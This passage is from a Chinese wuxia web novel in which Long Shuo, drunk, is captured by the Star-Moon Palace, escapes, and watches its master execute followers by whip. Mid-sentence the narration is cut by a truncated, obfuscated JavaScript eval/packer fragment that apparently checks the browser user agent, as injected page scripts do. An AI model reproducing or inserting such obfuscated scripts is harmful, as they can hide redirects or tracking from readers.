燕沐阳走出门口,转头说道:“你知我家所在,如遇困难,可来浸云谷寻我!” 龙烁拱手:“好,沐阳兄,保重!” 二人走出房门之际,龙烁听见了清道长低声问燕沐阳:“你怎么将浸云谷的所在告诉他了?你就不怕燕伯伯责怪吗?” 燕沐阳辩解:“我没有告诉他,是他自己推算得出!” “噢?”,了清道长十分好奇:“那是什么法术?” “占卜之术!” “哦哦!原来世上果然有此法术,哎,真的是天下之大,无奇不有!” “嗯!” 45.在劫难逃 他二人前脚离开,龙烁后脚也跟着出了客栈。 前方不远处一家酒肆灯笼高挂酒旗飘扬,此刻已近午时,酒肉的香味不断飘来,龙烁腹中馋虫隐隐作祟。 他思索片刻,决定先饱餐一顿再去南宫府寻找红叶。 走进酒肆,他迫不及待地喊:“店家——给我来十斤小清酿!” 一个年轻伙计迎上来:“客官,您要四斤小清酿?” “不是四斤,我要十斤!” “是四斤我知道,但是您肯定是喝不了的,不如先来二斤,您喝完我再给您续怎么样?” 龙烁无奈笑道:“你是怕我不给钱吗?” 他说着取出红叶的钱袋,拿出十两银子给他。 “啊不是不是,我不是这个意思啊客官,只因这小清酿后劲很大,我只怕您喝不完!” “喝不完我自会带走,你不必操心,再给我随便来几个小菜,赶快赶快!” “好嘞,马上,客官您稍等!” 酒菜齐备之后,龙烁狼吞虎咽吃来,他一边吃一边感慨,这十几天来竟没有好好地吃上一顿饱饭,喝上一顿好酒。 他想起跟燕沐阳出发去万兽山之前,自己在‘悦仙居’一口气喝光一坛子小清酿,当时真不知道后面会发生这许多事。 他看着手中的酒坛,又想:“倘若当时沐阳兄只喝上哪怕是一小口这小清酿,我二人便不能准时赶到万兽山,那么就不会遇到净心,如果没有遇见他,就不会有后来在南宫府所发生的那些不愉快的事,红叶也不会因为出来找我而被陈糠粟抓去了,哎可惜,没有如果!” 龙烁一边喝酒,一边回忆这一个多月来所发生的事,他喝着喝着,酒劲上头,恍恍惚惚地竟有些醉了。 他暗想:我以前喝酒从未这么快就醉过,果然是抽刀断水水更流,举杯销愁愁更愁! 再一晃动酒坛子,十斤小清酿已然喝得一滴不剩,按照龙烁以往的脾气秉性,非得再要十斤酒一醉方休,然而现下他还有要事在身,须得尽快去南宫府找到红叶带她远走高飞,远离这个是非之地。 酒足饭饱后,他走出店来。 此时已过未时,他辨明方向,往南宫府的方向奔去。 一股劲风袭来,他身子微微一晃:“糟糕,红叶既已嫁给了谢灵雨,她此时很可能已经不住在南宫府了,莫非,莫非她此时住在亭韵山庄?啊呦,这两个地方一个在西北一个在东南,倘若我走反了方向岂不更耽误时间?” 思来想去,他认为红叶此时在亭韵山庄的可能性更大一些,于是连忙去到附近一家马肆买了一匹快马。 他翻身上马,扬鞭朝亭韵山庄的方向疾奔而去。 只一炷香的功夫,龙烁已经奔出锦官城的东门。 劲风在耳边呼啸,吹得龙烁醉意朦胧,他暗暗惊奇这小清酿的后劲果然非同凡响,竟如惊涛骇浪一般一浪猛过一浪。 他算算时间,至少还需三四个时辰才能赶到,到时已是深夜,正好方便他神不知鬼不觉溜进庄去寻找红叶。 正思索间,却见前方不远处一名年轻男子倒在路边呻吟。 那人身穿黑色长袍,不知是被什么利器打伤,衣服上到处都是被划破的口子,鲜血从破口处不住渗出。 那男子面部扭曲,身子抑制不住地翻滚,似乎在忍受极度的痛苦。 他双手在身上到处乱抓乱挠,指尖所过之处,又划出几道新的口子,龙烁这才知道,原来他身上的破口都是被自己抓出来的。 龙烁忙勒住缰绳,翻身下马,俯身询问:“小兄弟,你是不是中了索心术?” 那人呜咽:“好痛,又好痒,一会儿疼,一会儿痒,我实在受不了了,求求你们行行好,给我个来痛快吧!” 龙烁惊问:“什么你们?这里只有我一人!” 忽听身后一男子呵斥:“你这是咎由自取!” 龙烁连忙转过身子,却见两名同样身穿黑色长袍的年轻男子在不远处持剑而立。 说话之人是一名瘦高男子,另一个是一名矮胖男子,二人虽均是二十出头的样子,却都摆出一副凶神恶煞咄咄逼人的架势。 那矮胖男子叹一口气:“三弟,这就是你背叛宫主的下场!我们一路南下追你到这也不容易,我二人在这里等着为你收尸,也不枉咱们兄弟一场了!” 受伤男子哀求:“二哥,求你一剑杀了我吧,也好过——好过我忍受这般非人的折磨!” 龙烁惊问:“你们既是兄弟,又怎么能下如此狠手?” 那矮胖男子道:“臭小子,要你来多管闲事了?” 他本就烦躁,气没处撒,便要挥剑向龙烁刺去。 那瘦高男子拦住他:“二弟,这人满身酒气,不过是一个醉鬼,你又何必跟他计较!” 这人绕过龙烁,走到受伤男子身旁:“宫主之命不可违,三弟,你就忍一忍吧,你知道会有这样的结果,为何还叛逃星月宫?” 受伤男子苦苦哀求:“大哥,我可以忍受宫中暗无天日的荒诞生活,也可以忍受宫主非打即骂的欺负凌辱,但是——我无法忍受那终身不得娶妻生子的宫规,我娘说过,不孝——不孝有三,无后为大,我不能——不能为给宫主卖命,最后落得个断子绝孙的下场!” 那大哥叹一口气:“宫规既是如此,咱们又有什么法子!如果我们不杀你,回去之后我二人便要被处死!宫主他老人家神通广大法力高强,又有谁能逃得出他的手掌心?” 那受伤男子不同意这观点:“咱们——咱们每年总有一半的时间在外办事,宫主也不可能无处不在!难道你们忘了吗?白虎星君至今也没有被找到!大哥二哥——求你们放了我吧!” 龙烁这才明白,原来他们是玄武星君卢照影的人。 “哼!”,那二哥道:“白虎星君至今音信全无,要我看,他恐怕早就被宫主就地正法了!” 那大哥劝说:“我说三弟,你也太不自量力,白虎星即使没死,他的武功术法也是高深莫测,又岂是你我之辈能比得上的?” 受伤男子仍坚持:“事在人为——命运本该掌握在咱们自己手中——大哥二哥——咱三人这么多年的情义,到如今难道只能落得不是你死就是我亡的结果?咱们不如一起逃走,说不定真能逃出生天,男子汉大丈夫,何不搏他一搏——” 龙烁十分赞同:“我瞧这位仁兄说的有理,你们何不解去他身上的苦楚,而后一起远走高飞闯荡江湖,也好过你们兄弟相残,背上不仁不义的骂名!” 那二哥讥讽:“你这醉汉,瞧你站都站不稳了,还敢在这里多嘴多舌!” 酒壮怂人胆,龙烁此时全不畏惧:“我只是看不过你们自相残杀,因此才好言相劝!” 那大哥道:“哼哼,臭小子,你知不知道我们是谁?” 龙烁暗想:“星月宫又怎么样?如今我有分身术护体,难道还怕你们了?”,他微微一笑:“让我猜一猜啊,佛家有云,咱们都不过是这芸芸众生之一,瞧你二人的煞气如此之重,这三界六道嘛,我看啊,咱们倒并非同道中人,一者迦婆离、二者苏支目佉、三者槃多婆叉、四者毗师咃、五者阿婆叉乃至三十六者魔罗迦耶,这三十六类众生,我看你们倒似其中的一类!” 龙烁所列举的乃是佛经中的三十六饿鬼的名字。佛教认为鬼是五众生中的一种,认为人死后可能升天、继续做人、堕落为畜生、下地狱或者变成鬼,而饿鬼又是鬼道中数量最多等级最低的,它们常年没吃没喝,总是在煎熬中度日,这便是对它们前世作恶的一种惩罚。 龙烁将他二人比作饿鬼,是想提醒他们恶事做多了恐怕死后会变成饿鬼受到残忍的惩罚。 那二哥啐了一口:“什么家婆子阿婆子的,婆婆妈妈的!” 那大哥灵机一动:“咱们不如抓了他去将功补过!说不定能求玄武星君饶了三弟性命!” 那二哥一怔,挠挠头问:“咱们在南方七部的地盘上抓人,会不会引起朱雀星君不满,莫得对咱们君主不利!” “那有什么?他朱雀星君还不是经常到咱们的地盘上胡乱抓人,这就叫做礼尚往来!” 那二哥微微点头:“只得如此!” 两人摩拳擦掌,挺剑向龙烁刺来。 龙烁有分身术法护身,面对此等危险境况已经不似往日那般胆战心惊,他暗想:上次我险些被抓,如今我功夫大进已经今非昔比啦,就让你们瞧瞧本少爷的厉害! 他躲开二人的来剑,双手拢于胸前大喊:“一三五七个十百千万,震离坎兑四位,现!” 咒语一出,气势如虹,直吓得那二人停止了进攻,想看看他到底在搞什么名堂。 龙烁的本意是要在自己周围变出四个分身,然而过得片刻,却不见周围有什么动静。 他反复变换手势再次施法,仍是无用,心中一惊,想起小鹭姐姐曾经提醒,施展分身术法需要意念非常集中,不禁暗暗叫苦:“莫非我酒后神经麻痹,意志难以集中,以致分身术法使不出来?” 正当他打算再次尝试时,忽觉脑后一痛,两眼一黑,跟着便不省人事了。 再次醒来时,龙烁发现自己被关在了一个潮湿阴暗的石室之中。 这石室到处散发着恶臭,似乎是老鼠屎的味道。 龙烁眯起眼睛一瞧,果然如此! 石室门边有两只硕大的肥老鼠,它们正在狼吞虎咽地啃食着一只破旧瓷碗中的食物。 那食物似是某种浆水,上面零零星星地飘着几粒稻米,龙烁定睛一看,原来是 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他转念又想:人家倒并非自视甚高,而是真的高高在上!枉我学会松杨先生的分身之术,却因贪杯而使不出来,说出去太也丢了师父的脸面:“哎,绝嗜禁欲,所以除累,老祖宗的话,实是不可不信啊!” 他又想到红叶,不禁心灰意冷:“红叶啊红叶,为什么每次我想去找你的时候都会遇到这诸多的阻碍,难道老天真的硬要将咱二人分开吗?” 正在此时,忽听门外脚步声响,一人从门洞里递进来一个破旧的瓷碗,里面盛有半碗白粥。 龙烁大喜,他忙抓住那人的手臂:“这位大哥,劳请你放我出去吧!” 那人尖叫一声,骂骂咧咧:“你是嫌死得不够快吗?宫主今日便要回宫,到时自然会放你出去受死!快放开了我!” 这人的几句大吼,顿时引起石门外诸多被囚之人的连连回应,吓得龙烁连忙缩回手,便听到门外似有成百上千的年轻男子大叫:“放我出来,快放我出来!” “求求你放我离开吧,我家里还有生病的老娘等我回去给她喂药!” “我与你们无冤无仇,你们为什么抓我!” “你们这是非法拘禁,我要去状告官府,将你们全都抓去坐牢!” “你们竟敢将本少爷困在这里,知道我老子是谁吗?” 门外那人喝骂:“我告诉你们,宫主回来以后要挑选你们当中符合条件的人入宫,你们都要承受那索心术的极大痛苦,谁能撑过一炷香的功夫,才有资格被选中,我劝你们现在还是省省力气吧!” 那人说罢信步而去。 众多年轻男子不明所以,仍在那里大放厥词,龙烁却感到不寒而栗,他曾经尝过索心术的厉害,一会儿疼一会儿痒的滋味简直让人求生不得求死不能,暗觉自己绝对不能坐以待毙,务须尽快想办法离开。 他在石室中来回踱步,然而直到傍晚也没有想到什么法子可以逃出这里。 忽然之间,又有两只硕大的肥老鼠从门洞里钻进来去喝那白粥。 龙烁脑中灵光闪动,计上心来:“这星月宫既缺人手,肯定不希望大伙出事!我佯装生病,看看他们管是不管!” 他快速退到石室门后,催动分身术法在自己身旁闪出一个假身。 那假身迅速抓起一只肥老鼠怒喝:“好你这只肥老鼠,竟敢偷喝我的白粥!” 那老鼠吱吱叫道:“什么?你是谁?竟然会说老鼠话!这是你的白粥吗?我可不知道啊,放开我,我不喝就是啦!” 分身骂道:“你已经喝啦,拿命来吧!” 说罢伸手去掐那老鼠的脖子。 老鼠大惊,它张大嘴巴,一口将龙烁分身的手指咬了下来,旋即一溜烟从门洞中逃了出去。 分身立即跑到门口嚎叫:“来人啊,快来人,我受伤啦,我被老鼠咬啦,救命啊!” 门外两人迅速赶到,一人喝斥:“你鬼哭狼嚎地大叫什么?” 那分身惨叫:“我被老鼠咬啦,快拿药来救我!这东西有鼠疫,我传上了大伙儿都得死——” 另一男子骂道:“你没事招惹老鼠做甚?大哥,不如咱们赶紧杀了他吧,莫得得了鼠疫再传染给大家!” 那大哥道:“不行,在星月宫没有君主的命令咱们不得随意杀人!” 二人兀自商量如何处理,龙烁的分身便假装痛地昏死过去。 那男子慌张起来:“那怎么办,我可不懂医理,有什么药可以救他吗?” 那大哥道:“我也不知,我身上倒有些金创药,不妨试试,开门!” “好!” 龙烁心中暗喜,闪身躲在门后,只等石门一开伺机逃跑。 果然,石门“吱呀”一声打开了。 龙烁大气也不敢喘一声,待那两名黑袍人冲进去后,连忙贴着石门蹑手蹑脚逃了出去。 46.九华殿主 他压低声音快速奔逃,却发现这细长幽暗的通道两边排列得整整齐齐密密麻麻的尽是高低相同大小相近的石门。 他粗略计算,至少有上百余个。 龙烁后背发凉,步伐加快了些。 一炷香后,他终于发现通道的尽头,那里有些许太阳光的光束照射进来,走近一瞧,阳光是从头顶上方的一个活板石门的门缝里面钻进来的。 他心中一喜,推开石门跃了上去,这才明白原来这石牢是建在地下,难怪里面阴暗潮湿。 到得外面,出现在龙烁眼前的是另一幅景象。 流水落花小溪缠绕,亭台楼阁仙气缥缈,颇有一股江南风貌。 龙烁暗疑:“不是说这星月宫是坐落在洛阳白云山的吗?怎么感觉像是地处江南?” 忽听背后有人声传来,龙烁连忙跑到一处假山之后藏了起来。 只听一人道:“不知这次宫主突然回宫是何用意?” 另一人猜测:“听说十月初一有大批人马人前来挑衅,不知是真是假,说不定宫主正是为此事回宫!” “是真的又如何,咱们星月宫难道还怕人挑衅?现在距离十月初一尚时日,宫主每次回宫的时间不会超过两天,我看未必是这个原因!” “嗯,不管怎样!这次咱们北方七部抓了不少人,总算能给宫主一个交代!” “是的是的,不求有功,但求无过,只要咱们玄武星君不被惩罚,咱们的日子便会好过!” 龙烁悄悄探出身子观望,见他们走得远了,连忙朝着相反的方向奔逃。 这座水榭园林大得出奇,龙烁绕了多半个时辰,不但没有找到出口,反而迷了路。 东边不远处隐隐有琴音传来,龙烁停下脚步。 这琴声虽然悠扬动听,却时断时续无法连贯,似是抚琴之人对这琴谱不甚熟悉。 龙烁想循着那琴音过去一探究竟,忽听背后一男子低声喊:“龙烁!” 龙烁一惊,慌忙转身,却见燕沐阳在身后悄然而立,连忙嘘声提醒:“小点声,沐阳兄,怎么,怎么你也被抓来星月宫了?” 然而,龙烁刚走到燕沐阳身旁,却见他的身影竟突然间消失不见了。 起初,龙烁还以为燕沐阳故意在跟自己玩捉迷藏,然而他在假山之间来回穿梭半晌,仍没有发现他的影子,不禁暗暗疑惑:“难道是我看错了?” 龙烁循着琴音来到一座楼阁前,抬头一看,门口的牌匾上面赫然写着两个大字——东宫! 殿门是虚掩着的,他小心翼翼推开一道缝隙,里面没人,于是侧身潜进。 殿内雕栏画栋富丽堂皇,直如皇宫的宫殿一般。 琴音断断续续地从后院传来,龙烁穿过大殿来到后院,却见水榭园林中有一处偏殿较为幽僻,琴音似乎是从里面传来的。 远远望去,那偏殿的牌匾上写得是“九华殿”三个字。 他正自疑惑是谁在弹琴,琴音忽然戛然而止。 龙烁以为自己被发现了,慌忙闪身到大门之后藏身,却听一名男子慌慌张张地从殿外跑来。 那人顺着竹桥跑到偏殿破门而入,嘟嘟囔囔不知说了什么,两道身影便一齐奔出房门。 确定这里再无他人之后,龙烁的胆子顿时大了起来,大摇大摆从正门走进。 入得殿内,龙烁惊讶万分,里面虽然宽广,却密密麻麻地摆满了书架,架上层层叠叠摆放的尽是各种古书,什么《论语》《孟子》《大学》《中庸》,唐诗宋词、诸子百家,天文历史、地理要略,本草纲目黄帝内经等史书典籍应有尽有。 龙烁再也迈不开腿,心下暗叹:“我家那狭窄破旧的藏书阁与这里相比简直是天壤之别!看来这间主人跟我一样酷爱读书!” 原来这是东宫的藏书阁。 龙烁取一本《春秋》往里面走去,想着寻找一扇窗户倚窗静读,却见层层书架之后,一张简单的床榻卧于墙角,四张桌案依窗而设。 他定睛一看,四张桌案一桌摆琴、一桌摆棋、一桌摆书,一桌摆画,氛围清幽意境高雅,龙烁不禁看得呆了! 琴案之上是一把木制的七弦琴,稍稍放歪了些,龙烁猜想定是刚刚那抚琴之人走得匆忙,不小心将它碰歪了。 他轻轻将那七弦琴扶正,又走到棋案旁,却见这围棋已经下了半局。 此时黑白子之间的角逐已经处于十分激烈的状态,黑子虽然稍稍占得上风,但白子锲而不舍,无论哪一方再进一步都会面临前无去路后有追兵的危险境地,他尝试下了几子,找不到突破口,不得不选择放弃。 来到书案旁,龙烁发现宣纸上面摊放着一本《东坡文集》,书是倒扣着的。 他拿起一瞧,翻开的那一页抄录的是苏轼所写的一首词,名字叫做《卜算子·黄州定慧院寓居作》: 缺月挂疏桐,漏断人初静。谁见幽人独往来,缥缈孤鸿影。惊起却回头,有恨无人省。拣尽寒枝不肯栖,寂寞沙洲冷。 他默读一遍,暗暗感叹:“东坡居士的词句素来以豪放洒脱闻名,然而这一首词所表达出的孤独之意深切得紧,那一句‘拣尽寒枝不肯栖,寂寞沙洲冷’又体现出他高风亮节,不肯随波逐流的孤傲之气!” 龙烁欲将文集放回原处,却发现被这文集掩盖的宣纸上也写着一首诗,字迹潦草放荡,似是诗人酒醉之后挥笔而成。 此诗名为“星月夜”,只见上面写道: 寒冰冻雪终遇暖, 弱水荆山总会春, 两地绝无千杯日, 星辉月影照孤坟。 龙烁心中暗想:“这人似乎孤独得很,不知他当时在思念何人,二人似乎永不能再相见!” 他沉吟片刻,又叹:“这九华殿的主人不但琴棋书画样样精通,而且放着前面的豪华宫殿不住,偏偏挤在这简单朴素的书房之内抚琴弄墨,却不知这人到底是谁!” 他思索片刻,似乎已经猜到大概,只是没有证据不敢轻下结论。 他游目四顾,忽然发现那墙角的床榻之上略有突起,掀开席子一看,竟是一把折扇,打开一瞧,上面画有两颗茱萸。 龙烁一拍大腿,果然猜得不错,此人正是星月宫的四大护法之一,那位被世人称颂的“玉面君子”,东方七部的星首,青龙星君——楚作尘! 正在此时,龙烁忽然感到地牢中留下的那名分身在向自己发出求救信号,他闭上眼睛,脑中竟闪出分身当下所看到的画面。 只见“自己”和一众年轻男子正被十几名黑袍人押送着进入一座金碧辉煌的大殿。 那大殿的奢华程度比这座东宫大殿有过之而无不及,朱漆大柱旁整整齐齐地站着四排排年轻男子,他们依次穿青袍、白袍、红袍、黑袍,想来便是青龙、白虎、朱雀、玄武星君的手下。 各人均是一个姿势垂手而立,连头也不敢抬上一下。 龙烁暗想,大家聚集在一起,必有要事,我得过去瞧瞧究竟。 窗外人影闪过,龙烁顾不得细想,连忙奔出九华殿,沿分身记忆中经过的路线一路向西寻去。 不一会儿功夫,龙烁果然发现这座大殿,门口的牌匾上赫然写着“星月殿”三个大字,想来便是会客大厅。 龙烁轻手轻脚潜入殿中,在一根雕梁大柱后面藏了起来。 他探出头来一看,大殿之中,跪了三排人数不一的年轻男子,青龙、朱雀、玄武三位星首依次站在众人前面。 朱雀星君身后跪着的年轻男子直排到大殿之外,玄武星君身后之人也跪到了大殿门口,龙烁的分身便在其中,而青龙星君身后的年轻男子却仅有寥寥十余人。 偌大的宫殿甚是威严,数百人在场,殿内竟是鸦雀无声,安静得竟有些可怕。 眨眼间,堂上竟突然出现一个瘦高的白衣男子。 此人身高七尺、面貌清瘦、头戴鹖冠、身披鹤氅,想来定是星月宫的宫主洪山雪。 只见他清了清嗓子,低声问道:“如何?” 他的声音低沉沙哑,十分沧老,这人至少五十岁以上。 叶子规走上前来拱手道:“宫主,南方七部谨遵法旨,两个月以来昼夜不停地物寻壮硕的青年男子,截至目前,共抓获五百八十六人,现已悉数到场,等待宫主发落!” 洪山雪微微点了点头。 卢照影上前:“北方七部夙夜不懈,踏遍秦岭以北的全部地域,物得符合条件的年轻男子三百二十七人,恭请宫主调遣!” “嗯!” 楚作尘上前一步躬身说道:“启禀宫主,东西方十四部近日一直致力于追杀食人妖兽土蝼,最后在锦官城西成功诛杀了这只上古神兽,安抚了锦官城的百姓使得星月宫再次威名大震!此外,属下觅得青年勇士一十四名,皆心甘情愿加入星月宫,以死效忠宫主!” 洪山雪十分好奇:“土蝼,那是何物?” “启禀尊主!”,楚作尘解释:“土蝼乃是一只巨大的白山羊,是自锦官城东一百里外的万兽山中逃出来的一只上古妖兽,此妖兽表面看似温顺,实则凶悍非常,普通人只当它是一只偷偷逃出圈来的肥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚作尘拱手道:“宫主,朱雀星君近日在蜀地胡作非为滥杀无辜,以至于当地的百姓整日里生活得胆战心惊人人自危,他们已将咱们星月宫视作是歪门邪教了,属下自知无力拨乱反正有愧于宫主,所以才心甘情愿领罪受罚,请宫主降罪!” 龙烁暗觉他这一招“指桑骂槐”使得甚妙! “大胆!”叶子规怒喝:“我们谨遵宫主的命令办事,难道你是说宫主有罪吗?” “属下与宫主的想法一致,志在壮大星月宫,只是总有些人曲解宫主的意思,借着星月宫的势力多行不义胡作非为,属下既是东方七部的星首,又协管西方七部,自觉责任重大,有义务为宫主清理门户营造风清气正的星月宫!” 叶子规怒目圆睁,指着楚作尘的鼻子骂:“你说谁胡作非为?” 洪山雪忽地起身大喝:“放肆!” 卢照影连忙劝说:“宫主息怒,我三人跟随宫主近二十年,忠心耿耿万死不辞,只是朱雀星君爱主心切做事略有冒进,而青龙星君却沉稳老练做事过于稳妥,两位星君的做法虽然各有利弊,但都是全心全力辅佐宫主效忠于星月宫,请宫主明鉴!” 龙烁暗暗不屑:“玄武星君这和稀泥的本事倒是极大,而且言外之意是他自己做事不疾不徐,火候掌握得却是恰到好处了!” 洪山雪微微点头:“无妨,他二人素爱拌嘴我早已习惯,我又何尝不知几位星君都是全心全意忠于我星月宫——” “哼!”叶子规不依不饶:“宫主,只怕有些人‘表面文章’做得甚好,内心却早就厌倦了宫中的生活,无时无刻不想着尽快逃走。属下提醒宫主一定要盯紧某些人,否则某些人说不定什么时候便要叛逃星月宫了!” 洪山雪脸上微微变色:“你此言何意?” 众人齐刷刷地看向朱雀星君,却见他的一名手下从胸口的衣衫中取出来一小张宣纸递到了朱雀星君的手上。 朱雀星君嘴角微勾,将那宣纸摊开拱手送至洪山雪面前:“这是某人近日所写的一首‘叛宫诗’,请宫主过目!” 洪山雪凌空虚抓,瞬间将那张宣纸吸到手上。 他打开宣纸横扫一眼,顿时火冒三丈,将宣纸捏成一团扔到楚作尘的脚边:“这是你写的么?” 楚作尘瞥了一眼那个小纸团,露在上面的几个字虽然是反着的,但依稀能够辨得清楚,正是“绝无千杯日”几个字,不禁怒从中来,转头看向叶子规:“你好大的胆子,竟敢私闯我九华殿——” 话音未落,殿外忽然飞来一根七尺白绫,眨眼间便将楚作尘的双手绑了起来。 楚作尘大惊,单膝跪地:“宫主息怒!” 洪山雪再次询问:“这是你写的么?” 楚作尘强压怒火,低声说道:“是!” 47.重刑伺候 叶子规哈哈一笑:“宫主,青龙星君恶意诅咒星月宫,若不将他杀了,恐怕难平众怒!” 楚作尘反问:“我何时诅咒星月宫了?” 叶子规指着那纸团道:“宫主,这最后一句‘星辉月影照孤坟’实是暗藏玄机,众人皆知咱们星月宫的‘星’字所代表的是在座的诸位星君,而这‘月’字则指宫主您本人,他说星辉月影照孤坟,难道不是暗嘲宫主您是杀人狂魔,暗讽咱们星月宫是乱葬岗吗?” 楚作尘哭笑不得:“强词夺理!” 叶子规邪魅一笑:“若想人不知,除非己莫为,青龙星君到底安的什么心,你自己最清楚不过,既已明明白白写了出来,难道你还不敢承认吗?” “宫主!”,楚作尘单膝跪地,向洪山雪解释:“属下绝无此意!” 洪山雪轻哼一声,并不搭话。 卢照影上前来劝说:“楚大哥,这里白纸黑字证据确凿,你若认罪领罚,宫主或许还能从轻发落!” “一派胡言!”,楚作尘拱手:“宫主明鉴,我是冤枉的!” “宫主!”,叶子规抢道:“青龙星君素爱吃酒大伙儿都知道,这诗哪怕是他酒后狂涂也绝不能够轻饶,否则大家上行下效,宫中就会出现更多反叛之言!” 洪山雪沉吟片刻,低声问一声:“那人是谁?” 楚作尘不解:“什么?” “你当夜所思之人,是谁?” 楚作尘正了正衣襟:“无人!属下当时恰巧读到一首悼亡词,有感而发,写下此诗,属下,并无什么思念之人!” 洪山雪轻哼一声,明显不信:“来人,重型伺候!” 楚作尘一惊,手上白绫忽地向上延伸,身体拔地而起荡在空中:“宫主,请听我解释!” 洪山雪并不理会。 叶子规和卢照影相视一笑,等着看一出好戏。 龙烁暗想:这“重型伺候”的“重型”很可能是他们星月宫最毒辣的“索心术”,这咒术发作起来先疼后痒,起初尚可忍受,一炷香后便痛痒难当,我须得尽快想办法救青龙星君。 殿外脚步声响起,众人回头一看,不禁大惊失色。 两名年轻男子托举着一条胳膊粗细、两丈来长的巨鞭走进殿来。 这巨鞭头宽尾窄通体乌黑,直如一条巨蟒。 此时,龙烁的分身仍跪在北方七部的队伍中,身后一名男子忽然低语:“我听说星月宫的脊鞭重刑十分残忍,一鞭子下去就能索人性命,不知是真是假!” 另一人道:“一会不就知道啦!” 分身转头望向藏在大柱之后的龙烁,暗送心语:“主人,咱们要不要救人?” 龙烁自觉虽然会使分身术法,但绝无可能仅凭一己之力对抗整个星月宫,不禁犯起难。 青龙星君身后那十几名年轻男子起身大喊:“青龙星君,我来代你受罚!” “对,我们来替你领罚!” “我来!” “我来!” 楚作尘大急,双脚在空中兀自摆动:“快退下!” 那十几人毫无惧意:“不退,青龙星君,让我来替您!” “对,让我们来!” “我们来!” “大胆!”,叶子规怒喝:“来人,把他们拉出去处死!” 南方七部几位星君拔剑上前,洪山雪厉声道:“谁敢乱动?” 几人不敢造次,立即收剑回鞘退回原位。 洪山雪轻哼一声,问那十几名年轻男子:“你们为何要替他领罪受罚?” 一高个子男子道:“青龙星君救我性命,我这条命本就是他的,宫主要罚你就罚我,放了他吧!” 洪山雪十分不屑,指着另一个矮个子男子问:“那你呢?” “青龙星君出钱给我死去的爹爹买了棺材,让他老人家风风光光下葬,我誓死追随青龙星君!” 洪山雪轻笑一声:“好,既然你们都誓死追随楚作尘,而非效忠于我,那么留着你们亦是无用!你们想替他受罚,很好!” 他凌空一抓,将那黑鞭抓在手中。 “啪啪”两声巨响,两名男子身上各出现一条蟒蛇粗细的鞭痕,旋即二人口吐鲜血倒地而亡。 楚作尘大惊:“宫主息怒,犯错的是我,求您不要责罚他们——” “哼!”洪山雪轻蔑一笑:“我要罚谁难道要你教?” 又听“啪啪”两声巨响,两名男子顿时倒地而亡。 其余几名男子直吓得手脚发软牙齿打颤,却都硬着头皮不后退。 一名清瘦男子高喊:“青龙星君对我们有恩,我们自当以死相报,却没想到你这宫主如此残暴不仁,青龙星君,有句话我要劝你,良将则主,良禽择木,你实在是跟错了人,我们死后,还请你一定要另投明主!” “住嘴——” 楚作尘本想制止那人的“胡言乱语”,然而却已来不及。 洪山雪连甩数鞭,瞬间将这一众年轻人杀了个精光。 眼见他们一个接一个地断气,楚作尘哀叹一声:“是我的错,我不该带你们回宫!” 叶子规轻蔑一笑:“可不是你害死了他们吗?这群不知天高地厚没有教养的无知小贼,见到宫主都不磕头跪拜,还假惺惺地充什么英雄好汉,简直笑死人!” 闻声,叶子规和卢照影二人身后的一众年轻人顿时吓得魂飞魄散,噔噔噔地磕头如捣蒜,口中兀自大声求饶。 洪山雪嫌弃道:“好吵!” 霎时间,所有的人都不敢再发出一点声音,星月殿顿时又安静下来。 洪山雪走到楚作尘面前:“本来我只是想罚你两鞭,却没想到来了这么一出,我现在要罚你五鞭,你可有怨言?” 楚作尘目光呆滞,微微摇了摇头。 龙烁大急,这十几个年轻人每人被抽一鞭子都吐血身亡了,青龙星君血肉之躯,哪怕他功力极深,两鞭也已是极限,他又怎么能受得了五鞭? 东西方十四部的星主星君纷纷跪地央求:“宫主,我愿代替青龙星君受罚!” “对,我们愿意领命受罚,请您饶了青龙星君吧!” 楚作尘大惊,生怕刚才的情形再次上演,忙下命令:“你们快退下!” 各人仍是拼命磕头请命。 “荒谬!难道你们要反了吗?退下!”楚作尘厉声道:“快退下!” 没人听话。 洪山雪狂笑一声:“好啊,又是这般的情景!你们想代他受罚倒也无可厚非!当初白虎星君叛逃星月宫,按照规矩我本该杀光你们西方七部的所有人,是青龙星君为你们请命,以一人之力承担五鞭重刑,我看在他的面子上饶你们性命,现在你们反过来要救他,那是再好不过,正好我也担心,他这把年纪,恐怕已经受不住五鞭伤痛了。不如这样,你们谁能承受得了这五鞭重刑,我便放了你们主上,可好?” 东西方十四部的星主星君均想,咱们这些人即便全都喝出性命,也绝不可能有一人能够承受住那五鞭重刑,莫得最后等大家全部死光了,还要青龙星君再去受那脊鞭之苦,岂不是徒劳无功? 楚作尘大叫:“宫主不可,他们受不得这脊鞭重刑之痛的,求您罚我一人就好,我可以承受!” 龙烁的分身在人群中赫然而立,只听他高声叫道:“我可以——” 众人一阵惊愕,纷纷转头看他。一部分人看看他又去看楚作尘,目光在他二人之间游移。 洪山雪纵身一跃,跳至分身面前凝视半晌:“你可认得姬希?” 此名一出,所有人都向龙烁的分身望去。 分身不以为意:“你是说四大术神之一的姬老前辈?武林之中谁不认识他!只可惜我认识他他不认识我!” 洪山雪问:“你叫什么名字?” “在下姓龙名烁字天何!” “你姓龙?” “不错!” 洪山雪思索片刻,又问:“你说你能承受五鞭重刑之痛?” 分身暗忖:“我本无生命,更体会不到疼痛,当然能够承受!”,于是肯定地说:“对,我能承受五鞭重刑之痛!” 楚作尘面色已经十分苍白,他认出这人便是当日他们追杀土蝼时所救下的那个年轻人,于是大喊:“小兄弟,你受不了的,不必做无用的牺牲!” 那分身得意一笑:“受得了受不得了,试过才知道,洪宫主,请你放马过来吧!” 洪山雪轻哼一声,举鞭向龙烁分身的胸口袭来。 那分身躲闪不及,胸口中鞭,整个身子被大力掀飞。 原本跪在他周围的年轻男子连忙起身让出一大片空地供他掉落。 坠地之后,那分身挣扎起身,却见一条三尺来长的伤口从自己左肩划到右腰,连忙拍拍胸口压惊。 龙烁本人也紧张地咽了咽口水。 洪山雪微感震惊,扬鞭再攻。 这回那分身做好了心里准备,稳稳站在原地,眼见又有一道伤痕从自己右肩直划至左腰,漠然拍拍身上的灰尘,淡然一笑。 众人见他若无其事,不禁惊讶万分。 洪山雪大怒,一连再甩三鞭,将龙烁的分身掀翻在地。 那分身晃晃悠悠站起身子,前胸已经血肉模糊溃不成形。 